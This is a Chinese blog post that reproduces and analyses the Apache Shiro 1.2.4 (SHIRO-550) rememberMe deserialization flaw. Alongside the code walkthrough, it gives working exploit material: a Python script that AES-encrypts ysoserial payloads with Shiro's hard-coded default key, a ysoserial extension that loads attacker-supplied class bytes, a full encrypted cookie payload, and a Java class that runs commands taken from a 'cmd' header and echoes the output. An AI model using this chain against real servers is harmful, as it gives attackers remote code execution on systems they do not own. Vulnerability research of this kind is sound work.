zoukankan      html  css  js  c++  java
  • shiro550反序列化复现

    前言

    ​ 最近部门有红队内部培训,分为了PHP审计和java审计方向。PHP还勉强可以听懂一些,但是java就比较吃力了,无论是找路由还是找gadget链、找敏感漏洞lib包都是很不熟练超级难顶,还有就是多种中间件内存马和多种中间件正向内存代理(项目中很多java项目都是不出网),就更加听不懂了。

    ​ 这一段时间无论是攻防演练还是红队评估遇到的shiro漏洞还是挺多的,于是就有了这篇文章。

    环境介绍

    tomcat7 + idea+jdk1.8.0_101

    项目地址

    https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

    环境搭建以及漏洞复现

    下载好环境,配置好我们的将项目的shiro-shiro-root-1.2.4samplesweb导入idea,并设置如下pom.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <!--
      ~ Licensed to the Apache Software Foundation (ASF) under one
      ~ or more contributor license agreements.  See the NOTICE file
      ~ distributed with this work for additional information
      ~ regarding copyright ownership.  The ASF licenses this file
      ~ to you under the Apache License, Version 2.0 (the
      ~ "License"); you may not use this file except in compliance
      ~ with the License.  You may obtain a copy of the License at
      ~
      ~     http://www.apache.org/licenses/LICENSE-2.0
      ~
      ~ Unless required by applicable law or agreed to in writing,
      ~ software distributed under the License is distributed on an
      ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
      ~ KIND, either express or implied.  See the License for the
      ~ specific language governing permissions and limitations
      ~ under the License.
      -->
    <!--suppress osmorcNonOsgiMavenDependency -->
    <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    
        <parent>
            <groupId>org.apache.shiro.samples</groupId>
            <artifactId>shiro-samples</artifactId>
            <version>1.2.4</version>
            <relativePath>../pom.xml</relativePath>
        </parent>
    
        <modelVersion>4.0.0</modelVersion>
        <artifactId>samples-web</artifactId>
        <name>Apache Shiro :: Samples :: Web</name>
        <packaging>war</packaging>
    
        <build>
            <plugins>
                <plugin>
                    <artifactId>maven-surefire-plugin</artifactId>
                    <configuration>
                        <forkMode>never</forkMode>
                    </configuration>
                </plugin>
                <plugin>
                    <groupId>org.mortbay.jetty</groupId>
                    <artifactId>maven-jetty-plugin</artifactId>
                    <version>${jetty.version}</version>
                    <configuration>
                        <contextPath>/</contextPath>
                        <connectors>
                            <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                                <port>9080</port>
                                <maxIdleTime>60000</maxIdleTime>
                            </connector>
                        </connectors>
                        <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                            <filename>./target/yyyy_mm_dd.request.log</filename>
                            <retainDays>90</retainDays>
                            <append>true</append>
                            <extended>false</extended>
                            <logTimeZone>GMT</logTimeZone>
                        </requestLog>
                    </configuration>
                </plugin>
            </plugins>
        </build>
    
        <dependencies>
            <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>jstl</artifactId>
                <version>1.2</version>
                <scope>runtime</scope>
            </dependency>
            <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>servlet-api</artifactId>
    <!--            <scope>provided</scope> -->
            </dependency>
            <dependency>
                <groupId>org.slf4j</groupId>
                <artifactId>slf4j-log4j12</artifactId>
                <scope>runtime</scope>
            </dependency>
            <dependency>
                <groupId>log4j</groupId>
                <artifactId>log4j</artifactId>
                <scope>runtime</scope>
            </dependency>
            <dependency>
                <groupId>net.sourceforge.htmlunit</groupId>
                <artifactId>htmlunit</artifactId>
                <version>2.6</version>
    <!--            <scope>test</scope>-->
            </dependency>
            <dependency>
                <groupId>org.apache.shiro</groupId>
                <artifactId>shiro-core</artifactId>
            </dependency>
            <dependency>
                <groupId>org.apache.shiro</groupId>
                <artifactId>shiro-web</artifactId>
            </dependency>
            <dependency>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>jetty</artifactId>
                <version>${jetty.version}</version>
                <scope>test</scope>
            </dependency>
            <dependency>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>jsp-2.1-jetty</artifactId>
                <version>${jetty.version}</version>
                <scope>test</scope>
            </dependency>
            <dependency>
                <groupId>org.slf4j</groupId>
                <artifactId>jcl-over-slf4j</artifactId>
                <scope>runtime</scope>
            </dependency>
        </dependencies>
    
    </project>
    

    配置tomcat7,
    image
    image

    搭建完成

    image
    输入账号密码,勾选Remerber me选项。进行抓包,可以看到环境搭建成功!

    image

    加密的cookie脚本

    import base64
    import uuid
    import subprocess
    from Crypto.Cipher import AES
    
    
    def rememberme(command):
        # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
        # popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections10', command],stdout=subprocess.PIPE)
        popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections10', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    

    运行该脚本,可以得到加密后的rememberMe

    image
    复制该cookie,可成功执行代码
    image

    漏洞分析

    漏洞原理

    shiro会对用户传入的cookie进行解密并进行java原生反序列化。其解密cookies的密钥是默认的,因此不受信任的用户可以发送任意数据触发恶意的反序列化。需要特别说明的是shiro这个洞只是一个反序列化触发点实际能否利用要看环境是否存在gadget。

    ​ 虽然是原生反序列化但是shiro重新的实现了resolveClass,这间接造成了最后加载类的classloader变成了ParallelWebappClassLoader(在tomcat上是这样),而ParallelWebappClassLoader实现有buggy造成不能反序列化非原生的数组类型(关于这点的具体分析可以看这篇强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考),这就造成大名鼎鼎的cc链某些gadget中的transformers数组无法被反序列化(by李三)

    大概漏洞过程就是:

    • 序列化、加密过程

    • 解密、反序列化过程

    ​ 官网中有大哥也提出了issuse

    默认情况下,shiro使用CookieRememberMeManager。这将对用户身份进行序列化,加密和编码,以供以后检索。因此,当它接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:
    
    检索RememberMe cookie的值
    Base 64解码
    使用AES解密
    使用Java序列化(ObjectInputStream)反序列化。
    但是,默认加密密钥是硬编码的,这意味着有权访问源代码的任何人都知道默认加密密钥是什么。因此,攻击者可以创建一个恶意对象,对其进行序列化,编码,然后将其作为cookie发送。然后Shiro将解码并反序列化,这意味着您的恶意对象现在位于服务器上。通过精心构造对象,可以使它们运行一些恶意代码
    
    • 检索RememberMe cookie 的值

    • Base 64解码

    • 使用AES解密

    • 使用Java序列化(ObjectInputStream)反序列化

      解密AES需要密钥还有mode(加解密算法)和 IV(初始化向量),而由官网得知RememberMe在CookieRememberMeManager实现

    大概看了一下在CookieRememberMeManager类中不存在加密算法,在父类AbstractRememberMeManager中
    image
    org.apache.shiro.mgt.AbstractRememberMeManager类中发现默认的Key是硬编码在其中的,这也是该反序列得以利用的关键,如果再确定mode和IV则可以构造RememberMe的值,然后让其反序列化
    image
    该类主要是将key进行base64解密为byte数组,然后构造函数来调用setCipherKey方法进行初始化该值

    public abstract class AbstractRememberMeManager implements RememberMeManager {
        private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        private byte[] encryptionCipherKey;
        private byte[] decryptionCipherKey;
    
        public AbstractRememberMeManager() {
            this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
        }
        public void setCipherKey(byte[] cipherKey) {
            this.setEncryptionCipherKey(cipherKey);
            this.setDecryptionCipherKey(cipherKey);
        }
    

    序列化、加密过程

    在AbstractRememberMeManager#onSuccessfulLogin打下断点,开启debug模式,勾选rememberMe进行登录
    image
    其中第85行主要是针对是否勾选了rememberMe经行判断
    image
    如果为true,就进行AbstractRememberMeManager#rememberIdentity,94行调用了该类的getIdentityToRemember,主要是用来获取当前用户为root
    image
    image
    然后95行在进入rememberIdentity方法
    image
    103行主要是将用户信息转换成bytes数组,可以跟踪一下
    image
    108行经过serialize函数处理就变成了bety数组处理,可以跟一下org.apache.shiro.io.DefaultSerializer#serialize
    image
    采用的是java原生的序列化方法writeObject,而最后序列化的数据也就是代表用户身份的SimplePrincipalCollection类的实例,该类实现的接口的父辈接口继承了Serializable接口
    image
    接着来看加密过程,
    image
    110行调用了encrypt()方法,跟一下
    image
    154行调用了getCipherService方法,得到一个用来加密的CipherService对象,发现返回的是当前类的private CipherService cipherService = new AesCipherService();并且在AesCipherService父类完成CipherService对象的初始化,可以看到此时确定了AES加密,模式为CBC,128位,填充方式为PKCS5Padding
    image
    接着在156行,cipherService.encrypt方法第一个参数是序列化的数组,第二个参数是硬编码的key,跟入cipherService.encrypt
    image
    148行可以看到iv是随机生成的16为byte,153又调用了encrypt方法,参数分别是序列化数据,key,IV和bool值为true,跟入

    orgapacheshirocryptoJcaCipherService.class#encrypt

    image
    在162行将16字节的IV放入了output,接着放入密文数据

    后面一直return,回到了orgapacheshiromgtAbstractRememberMeManager#convertPrincipalsToBytes,
    image
    加密过程就结束了。

    反序列化、解密过程

    对RememberMe的解密依然是在AbstractRememberMeManager里,调用的是getRememberedPrincipals方法

    这个方法主要做了实现了三个功能:

    • 获取cookie中的RememberMe值进行base64_decode
    • 将base64_decode获取的byte数组进行aesdecode
    • 从bytes数组中还原ByteArrayInputStream,调用readObject还原principals对象

    在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity 370行打下断点,在burp中发送只有rememberMe的请求
    image
    370行跟入this.getRememberedSerializedIdentity

    org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity;主要是获取cookie并base64编码
    image
    回到getRememberedPrincipals并跟入this.convertBytesToPrincipals
    image
    org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals;主要进行AES解密;其中140行主要就进行反序列操作
    image
    org.apache.shiro.io.DefaultSerializer#deserialize
    image
    用ByteArrayInputStream将对象反序列化,就是漏洞的触发点

    分析gadget

    默认shiro的commons-collections版本为3.2.1,我们利用3.2.1的payload,结果报如下错误:
    image
    Shiro在调用readObject时,使用了ClassResolvingObjectInputStream来处理数据:这个类重写了resolverClass方法
    image
    在原生的JDK中,直接用Class.forName来获取Class,

    java.io.ObjectInputStream#resolveClass
    image
    在Shiro中,使用了ClassUtils.forName获取Class,我们可以尝试跟进一下该方法:

    image
    是采用了ClassLoader.loadClass方法来加载类,loadClass()则是可以自己指定一个不同的ClassLoader,shiro中的ClasssLoader是怎么来的?是通过Thread.currentThread().getContextClassLoader();获取的,也就是WebappClassLoader

    总结下原因是:

    1. Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。

    shiro通用回显

    在执行反序列化的时候执行自定义的java代码,借助TemplatesImpl , 编写ysoserial的扩展。

    package ysoserial;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    public class MyClassLoader extends AbstractTranslet {
       static{
           try{
               javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
               java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
               r.setAccessible(true);
               org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
               javax.servlet.http.HttpSession session = request.getSession();
    
               String classData=request.getParameter("classData");
               System.out.println(classData);
    
               byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
               java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
               defineClassMethod.setAccessible(true);
               Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
               cc.newInstance().equals(new Object[]{request,response,session});
          }catch(Exception e){
               e.printStackTrace();
          }
      }
       public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
      }
       public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
      }
    }
    
    

    ysoserial的Gadget.java加入代码

        public static <T> T createTemplatesImpl(Class c) throws Exception {
            Class<T> tplClass = null;
    
            if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
                tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
            }else{
                tplClass = (Class<T>) TemplatesImpl.class;
            }
    
            final T templates = tplClass.newInstance();
            final byte[] classBytes = ClassFiles.classAsBytes(c);
    
            Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
                classBytes
            });
    
            Reflections.setFieldValue(templates, "_name", "Pwnr");
            return templates;
        }
    
    

    根据Gadget新增不同的文件,修改

            final Object templates = Gadgets.createTemplatesImpl(cmd);
    
            final Object templates = Gadgets.createTemplatesImpl(ysoserial.MyClassLoader.class);
    

    生成ClassLoader 命令回显POC

    java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1_ClassLoader "" > classload.ser   
     cat classload.ser|python shiro_encode.py                                                                                                                                ```
    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
    
    

    通用命令回显POC

    package aa;
    
    import java.io.PrintWriter;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    import java.util.HashSet;
    import java.util.Scanner;
    
    public class dfs_classloader {
    
        static HashSet<Object> h;
        static ClassLoader cl = Thread.currentThread().getContextClassLoader();
        static Class hsr;//HTTPServletRequest.class
        static Class hsp;//HTTPServletResponse.class
        static String cmd;
        static Object r;
        static Object p;
    
        //    static {
    //  r = null;
        //   p = null;
        // h =new HashSet<Object>();
        // F(Thread.currentThread(),0);
    //    }
        public dfs_classloader()
        //static
        {
            // System.out.println("start");
            r = null;
            p = null;
            h =new HashSet<Object>();
            try {
                hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
                hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
    
            F(Thread.currentThread(),0);
        }
    
        private static boolean i(Object obj){
            if(obj==null|| h.contains(obj)){
                return true;
            }
    
            h.add(obj);
            return false;
        }
        private static void p(Object o, int depth){
            if(depth > 52||(r !=null&& p !=null)){
                return;
            }
            if(!i(o)){
                if(r ==null&&hsr.isAssignableFrom(o.getClass())){
                    r = o;
                    //Tomcat特殊处理
                    try {
                        cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,"cmd");
                        if(cmd==null) {
                            r = null;
                        }else{
                            System.out.println("find Request");
                            try {
                                Method getResponse = r.getClass().getMethod("getResponse");
                                p = getResponse.invoke(r);
                            } catch (Exception e) {
                                System.out.println("getResponse Error");
                                r=null;
    //                            e.printStackTrace();
                            }
                        }
                    } catch (IllegalAccessException e) {
                        e.printStackTrace();
                    } catch (InvocationTargetException e) {
                        e.printStackTrace();
                    } catch (NoSuchMethodException e) {
                        e.printStackTrace();
                    }
    
                }else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
                    p =  o;
                }
                if(r !=null&& p !=null){
                    try {
                        PrintWriter pw =  (PrintWriter)hsp.getMethod("getWriter").invoke(p);
                        pw.println("~3b712de48137572f3849aabd5666a4e3~");
                        pw.println(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\A").next());
                        pw.println("~3b712de48137572f3849aabd5666a4e3~");
    
                        pw.flush();
                        pw.close();
                        //p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\A").next());
                    }catch (Exception e){
                    }
                    return;
                }
    
                F(o,depth+1);
            }
        }
        private static void F(Object start, int depth){
    
            Class n=start.getClass();
            do{
                for (Field declaredField : n.getDeclaredFields()) {
                    declaredField.setAccessible(true);
                    Object o = null;
                    try{
                        o = declaredField.get(start);
    
                        if(!o.getClass().isArray()){
                            p(o,depth);
                        }else{
                            for (Object q : (Object[]) o) {
                                p(q, depth);
                            }
    
                        }
    
                    }catch (Exception e){
                    }
                }
    
            }while(
                    (n = n.getSuperclass())!=null
            );
        }
    }
    
    

    参考链接

    https://www.anquanke.com/post/id/192619#h2-4

    https://www.cnblogs.com/nice0e3/p/14183173.html

    https://xz.aliyun.com/t/7950

    https://xz.aliyun.com/t/8997#toc-0

    [http://redteam.today/2019/09/20/shiro 反序列化复现/](http://redteam.today/2019/09/20/shiro 反序列化复现/)

    https://blog.0kami.cn/

    https://l3yx.github.io/2020/03/21/Shiro-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#%E5%BA%8F%E5%88%97%E5%8C%96%E3%80%81%E5%8A%A0%E5%AF%86%E8%BF%87%E7%A8%8B

    https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

    [https://l3yx.github.io/2020/03/31/Java-Web代码执行漏洞回显总结/#获取Tomcat-Response](

  • 相关阅读:
    VUE中tinymce设置字体大小、字体选择(就没有一篇文章能说的清楚的,那么我就说清楚这个问题)
    解决每次git push时需要输入用户名密码的问题
    vue路由,解决同一路由页面多次触发不刷新页面【vue开发】
    函数防抖和节流
    h5页面如何判断是系统Android,ios还是微信等
    react 结合 Promise 和 async await 解决多个异步请求 后统一设置状态问题
    对数组对象递归遍历给子对象添加父对象属性的方法
    React Hooks 使用指南
    webpack配置介绍
    React 实现键盘监听事件
  • 原文地址:https://www.cnblogs.com/kuaile1314/p/14813791.html
Copyright © 2011-2022 走看看